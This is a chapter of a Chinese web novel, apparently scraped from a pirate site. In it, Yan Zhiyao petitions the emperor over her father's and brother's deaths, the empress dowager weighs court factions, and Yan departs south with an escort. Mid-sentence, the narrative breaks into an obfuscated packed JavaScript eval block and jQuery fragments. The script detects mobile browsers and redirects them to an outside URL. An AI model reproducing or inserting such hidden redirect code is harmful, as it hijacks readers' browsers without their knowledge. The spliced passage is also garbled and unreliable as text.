90. 启程

作品:《阿姊

    往韶华宫的路,这是严之瑶第二次走。


    第一次,她满心欢喜,准备迎凯旋的父兄,最后却得见两副棺椁。


    而这第二次,身后没有追着她赶来的连姑姑,殿前,亦没有等着她满眼担忧的金统领,有的,只是一排一排十年如一日的戒卫森严的禁卫。


    彼时她拎着装满新做的桂花糕的食盒,此时,她两手空空,唯有一颗心沉重。


    雀跃欢喜的小姑娘终究是死在了那个深秋,而如今这个秋,也势必难捱。


    “陛下,外头安平县主求见。”


    帝王原就揉着眉心看折子,闻声更是不耐:“她来做什么?这县主府已赐,不是说了不必谢恩。”


    公公想了想:“许是为了寒大人?”


    “放肆!”


    “陛下息怒,奴婢这就命她回去。”


    公公急急出去,临到了门口,身后却又道:“叫她进来。”


    “是。”


    严之瑶上一次这么近地看那九五之尊,是在父兄的灵柩前。


    圣上赐以国葬,她却一句谢恩也说不出。


    如今,她深深拜下:“安平参见陛下。”


    帝王原是背手立在阶下,听着声音转过身来,面上堆笑,立即就伸手虚扶:“怎见此大礼,起来吧。朕在你大婚当日抓了你的未婚夫,你可有怨言?”


    “说没有是假的,”严之瑶未起来,只是不着痕迹地避开帝王的手,端直跪着,“坊间如今皆传安平是个扫把星,谁娶了是要走霉运的。”


    “哦?”


    “可陛下还了安平颜面,县主府如今气派,安平住得很好。”


    “哈哈哈哈哈哈!好,好。”帝王伸手,拍拍她的肩头,“起吧。”


    说完他转身往上,却没听着动静,不禁又回首。


    严之瑶没有动,她笔直跪着,面色平静。


    帝王面色未动,边上公公起声:“安平县主。”


    “安平话未说完,不敢起。”严之瑶答,她低下头,顺遂却倔强。


    上首沉寂片刻,终于,帝王重又踏下步子,他停在几米开外,一挥手,整个韶华殿的宫人全数退下。


    殿门沉沉合上,整个殿中竟显空旷。


    严之瑶于此时抬头,帝王目光如炬,带着威压。


    她并非是个见过世面的,此番后背也起了冷汗,却仍是坚定开了口:“安平求陛下,彻查严家军,还父兄一个公道。”


    “你说什么?”


    “陛下,安平如今一介孤女,唯有陛下一人可依可信,”她伸手,掏出怀中名册,“还请陛下为安平做主。”


    “这是什么?”


    “陛下,先听安平说个故事吧?”


    帝王未拒绝,严之瑶垂眼,开始叙述。


    “多年前父兄率精锐二十余人南下之时,曾路遇一雨中濒死的少年,父亲出手资助金银,并指点他远避战事北上。后来一次南戎大举进犯,父兄从俘虏口中得知南戎势力已经侵入大桓,前南戎王连连征战,财政入不敷出,目的乃是为了侵占南地财富,父兄知悉后,曾捣毁岑州至南州一片多处伪装据点,陛下应是知晓的,当时陛下还曾行赏。只是陛下不知,后来父亲还顺藤摸瓜查到了南州城内最大的青楼,不想那青楼当日半夜就突然走水,不留一人,父亲只捡到了这本名册,线索便就断了。”


    严之瑶缓了一息:“这是父亲的心结,只是南戎后有内斗,与大桓交手年年败退,边关一度稳定,父亲才暂且搁下。他一生戎马,不爱与人相交,尤其是京中官员,也不叫兄长与他们私下接触。他回京后唯一相请的怕就是新晋的探花郎了,知道寒邃就是当年资助过的少年,父亲心有感怀,还曾相请入府。”


    她又解下脖上玉佩,与名册一并捧在掌心:“他们都以为,这是父亲交给寒邃的信物,以为父亲想要我嫁给寒邃。可实际上,这块玉佩直到此时,都未曾打磨完全,未成之玉,父亲又怎会提前交付与人。”


    她将名册与玉佩又托起:“我见过寒邃亲笔写就的名帖,与名册上的字如出一辙,字不会骗人,便是再掩饰,总能找到蛛丝马迹。如果这不能说明什么,那这玉佩……陛下,我父亲随身带着的玉佩,他战死沙场,拿着这玉佩来见我的人不是父亲的副将,不是父亲的军师,甚至不是严家军的份任何一位,而是这个本该远在京城的寒大人——陛下,您不觉得可疑么?”


    帝王伸手,拣起她手中的物件。


    “安平想,若是当真念着一份情谊,那么父亲的遗物当该要第一时间回到安平手中。然而此物先时传于寒邃,并因此叫我一时方寸大乱,应下了婚事,”严之瑶抬首,“第一个拿到这玉佩的人,其心可诛。可是陛下!战场之上,又有谁能第一个拿到呢?”


    “安平,万事不是光凭猜测就能断定。”


    “所以安平来求陛下,安平不信严家军,”严之瑶红着眼,“安平愿孤苦一生,只求陛下为安平做主!”


    她狠狠嗑下一头,又一头,直到额上见红,才听得帝王一声:“够了。”


    他顿了片刻:“所以,你并非真心要嫁寒邃。”


    “陛下,安平是带着必死的心出嫁的,”严之瑶仰面,血从额头流下,“安平拿自己的一生做庄,只为赌他一命,陛下,这算欺君吗?”


    帝王忽然笑了。


    严之瑶也莞尔,她重新俯身:“所以现在细想,婚礼作罢这件事,安平该谢陛下的。”


    “名册,是严将军所得?”


    “是。”


    半晌,帝王问:“你希望谁去查这件事?”


    这一问,严之瑶怔住。


    “要彻查严家军,需要一个理由,朕不能叫护国之师寒心,你可明白?”


    猜到了什么,她起身。


    帝王回到了案边坐下,他端起茶水,不知可是喝急了,忽得一迭咳嗽起来。


    严之瑶收回目光,未出声。


    片刻,帝王才重新道:“你说得不错,此事一定要查,还要查得明明白白,只是,有一件事情要告诉你。昨夜,寒邃已经畏罪自杀。”


    “什么?!”


    “如此,你还要查?”


    严之瑶握拳,不过半息便应声:“查。”


    “好,你既然有此气魄,朕自然答应。”


    “陛下?”


    “寒邃已死,但岑州商路兴建一事不可耽搁,最近左相家的小子怕是已经面壁思过够了,该要干点事了,你跟着他。”帝王想了想,“就以县主之名,作监督使随行南下。”


    他说得平淡,严之瑶心中却是掀起轩然大波。


    寒邃怎么会这么轻易死?


    寒邃死了,切断了所有的线索,从哪里查?


    一时间,她不知道究竟面前的帝王是真的应允还是敷衍。


    “怎么?”帝王觑下。


    严之瑶赶紧低头:“安平——谢恩。”


    慈宁宫内,裴太后起身:“你说皇帝近来常有咳喘?”


    “是啊。”连诵应声。


    “皇后知道吗?”


    连诵摇摇头:“奴婢不知。”


    “哀家去看看,”说着,裴太后便往殿门口去,却到底顿住脚,又是片刻,她转身,“罢了,晚些时候,交待御膳房送点梨汤过去。太医那边……你注意些。”


    “是。”


    “听说,严家丫头面圣了?”


    “是


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13049112|128253||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ,头都磕破了出来的,只是陛下没叫人在旁伺候,不知道具体说了些什么。只不过,听说她是求了陛下允她戴孝三年,把未尽的孝道尽完。陛下已经应允,还命她以县主之身,监察使之名,与左大人一起南下岑州,告慰父兄。”连诵叹了一声,“说来严小姐这婚事也是波折,如今百姓议论纷纷,她这也是死了心,陛下许也是怜她伶仃。”


    “三年尽孝,她这是想要孤寡终生啊。”


    “是哇,三年过后,姑娘年纪确实大了。”连诵说着,劝道,“娘娘可是后悔了?”


    “造化弄人,人若知当初……”裴太后摇摇头,“哀家还是不放心,你多多注意些,尤其是皇后那边。”


    “娘娘是怀疑皇后对陛下不利?”


    “那寒邃究竟是谁的人,哀家如今都不清楚了,好生生的畏罪自杀,哀家可不觉得那孩子是认命的,”裴太后道,“如今三皇子封王,这怕不是皇后乐见的,澜王的婚事一拖再拖,自然是因为他们不愿这么轻易回澜山封地。这出了京,可就不好回来了。”


    连诵点头。


    “左家小子和成远……若是如今皇帝还不知晓是谁的人,那哀家也是白白培养了他。”裴太后望着外边的夕阳。


    “娘娘的意思,陛下其实对太子,还是念着旧情的,如今启用他们,也是态度?”


    “哀家倒是希望是我们猜错了。”


    连诵想了一瞬便就明白过来,沉默地陪着看霞光漫天。


    严之瑶抬头,只觉整个天际泼了金似的。


    伸手一抹额头,血迹已经干涸,只是洇得有些针扎似的疼。


    也算是,大难不死。


    刚刚的说辞,真真假假,她不知皇上信了多少。


    裴成远拿来的名册,此前兄长偶尔絮叨的话,还有拼拼凑凑的推论,能说的她都说了,不能说的,也修饰着遮掩着提了。


    父兄之死,于大桓目前来说,全无调查的必要,逝者已矣罢了。


    唯有关系或许的社稷阴谋,才能叫帝王重视。


    可旁人不能提,提了便是觊觎国本,便是党争计策,陛下多疑,也唯有她这个严家女,能为父兄请愿。


    三日后,城门口,严之瑶掀了车帘,瞧见多时不见的人。


    左修齐骑着一匹白马过来:“县主,有一个拖油瓶子,甩不掉。”


    “拖油瓶?”


    话音方落,就听后头吱哇乱叫声。


    裴柒:“抱朴你个狗!你放了老子!不然我叫我家少爷宰了你!你不讲武德!还叫你家主子做帮手!”


    严之瑶愣住,就见左修齐叹息:“哎,一直跟着呢,都要跟出城了,左某不得不问问你啊,这人,要不要啊?”


    那边裴柒瞧见严之瑶出来,脖子一梗:“小姐!少爷说了,小姐去哪,裴柒就要去哪,小姐不要也得跟着,少爷说往后裴柒就是小姐的人了,小姐你看看我啊!”


    严之瑶:“……”


    裴柒:“对了,我看那个什么严钰,是个习武的材料,小姐不是也想给他找个师父么?裴柒免费教,小姐带上我就是!”


    露华探出头来:“好啊!裴柒你跟踪我家小姐!”


    裴柒:“我跟我主子,天经地义,怎么就跟踪了!我跟抱朴这狗可不一样!”


    抱朴:“闭嘴!”


    好好的启程,倒是被搅得一团糟。


    真是什么主子教什么护卫。


    严之瑶盯了裴柒半晌,只能丢了一句:“有劳左大人了。”


    “好说,好说~”左修齐一抬手,抱朴撒手。


    裴柒恨毒了,差点拔刀,被马车里一声唤住:“不准滋事。”


    裴柒:“……”